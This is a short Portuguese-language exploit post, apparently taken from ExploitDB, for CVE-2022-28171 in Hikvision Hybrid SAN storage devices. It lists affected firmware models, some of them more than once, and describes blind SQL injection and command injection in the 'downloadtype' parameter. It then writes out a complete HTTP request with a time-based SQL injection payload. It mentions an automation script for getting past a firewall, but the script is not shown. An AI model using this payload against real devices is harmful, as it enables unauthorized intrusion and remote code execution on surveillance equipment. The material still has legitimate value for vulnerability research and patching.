
Exploit em Python para CVE-2022-28171 visando dispositivos Hikvision Hybrid SAN, automatizando blind SQL injection e command injection para alcançar execução remota de código.
Publiquei originalmente isso no ExploitDB, que você pode encontrar em https://www.exploit-db.com/exploits/51607
# Date: 16 July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s
A Hikvision é um fabricante e fornecedor líder mundial de vigilância, equipamentos de videovigilância e Internet das Coisas (IoT) para fins civis e militares. Alguns produtos Hikvision Hybrid SAN eram vulneráveis a múltiplas vulnerabilidades de execução remota de código, como injeção de comandos, injeção SQL cega, contrabando de requisições HTTP e cross-site scripting refletido. Isso resultou em execução remota de código, sendo possível executar comandos arbitrários do sistema operacional e muito mais.
O teste manual confirmou que o parâmetro "downloadtype" era vulnerável a injeção SQL cega e injeção de comandos. Criei um script Python para automatizar e enumerar versões do SQL, pois a aplicação estava atrás de um firewall e bloqueava todas as requisições do SQLmap.
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close